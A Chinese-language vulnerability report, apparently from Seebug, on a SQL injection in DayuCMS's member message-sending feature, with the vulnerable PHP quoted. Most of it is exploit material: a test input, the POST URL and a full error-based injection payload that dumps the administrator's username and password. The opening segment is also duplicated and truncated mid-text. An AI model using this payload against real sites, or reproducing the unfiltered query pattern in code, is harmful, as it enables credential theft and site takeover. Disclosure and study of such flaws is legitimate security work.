<ul><li>/member/include/member.class.php</li></ul><pre class="">function _exists($field, $value) { return $this->db->fetch_one("SELECT id FROM $this->table WHERE $this->table.`$field`='$value' LIMIT 0, 1"); } 传入的$field和$value未经过过滤直接带入SQL语句中。 /member/include/msg.class.php function send($msgs) { global $_userid,$_username,$member; $content=filterhtml($msgs['content'],3); $msgs=array_map('htmlspecialchars',$msgs); $msgs['content']=$content; $msgs['send_from_user']=$_username; $msgs['message_time']=TIME; if(!$member->_exists('username', $msgs['send_to_user'])) { return -1; } </pre><p>$msgs['send_to_user']直接调用_exist函数，导致注入。</p><p>当用户提交：</p><pre class="">do_submit=1&msgs[send_to_user]=-asd'&msgs[subject]=asd&msgs[content]=asd</pre><p>执行的SQL语句为：</p><pre class="">SELECT id FROM `dayucms`.`dayucms_member` WHERE `dayucms`.`dayucms_member`.`username`='-asd'' LIMIT 0, 1</pre><p>页面返回：</p><p><img alt="0EA8A5EF-47E1-44C8-9395-A21CD309ADEB.png"...
<ul><li>/member/include/member.class.php</li></ul><pre class="">function _exists($field, $value) { return $this->db->fetch_one("SELECT id FROM $this->table WHERE $this->table.`$field`='$value' LIMIT 0, 1"); } 传入的$field和$value未经过过滤直接带入SQL语句中。 /member/include/msg.class.php function send($msgs) { global $_userid,$_username,$member; $content=filterhtml($msgs['content'],3); $msgs=array_map('htmlspecialchars',$msgs); $msgs['content']=$content; $msgs['send_from_user']=$_username; $msgs['message_time']=TIME; if(!$member->_exists('username', $msgs['send_to_user'])) { return -1; } </pre><p>$msgs['send_to_user']直接调用_exist函数，导致注入。</p><p>当用户提交：</p><pre class="">do_submit=1&msgs[send_to_user]=-asd'&msgs[subject]=asd&msgs[content]=asd</pre><p>执行的SQL语句为：</p><pre class="">SELECT id FROM `dayucms`.`dayucms_member` WHERE `dayucms`.`dayucms_member`.`username`='-asd'' LIMIT 0, 1</pre><p>页面返回：</p><p><img alt="0EA8A5EF-47E1-44C8-9395-A21CD309ADEB.png" src="https://images.seebug.org/@/uploads/1434683111396-0EA8A5EF-47E1-44C8-9395-A21CD309ADEB.png" data-image-size="1668,332"><br></p><p>证明漏洞存在。</p><p>登录后访问：</p><pre class="">http://www.phpstudy.net/member/index.php?file=msg&action=send</pre><p>并且POST数据：</p><pre class="">do_submit=1&msgs[send_to_user]=-asd' and 1=(select 1 from (select count(*),concat((select concat(username,password)from dayucms_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&msgs[subject]=asd&msgs[content]=asd</pre><p>得到管理员帐号以及密码： </p><p><img alt="4737B289-DFB7-4991-ABB7-049DF3C13F87.png" src="https://images.seebug.org/@/uploads/1434683161337-4737B289-DFB7-4991-ABB7-049DF3C13F87.png" data-image-size="627,155"><br></p>
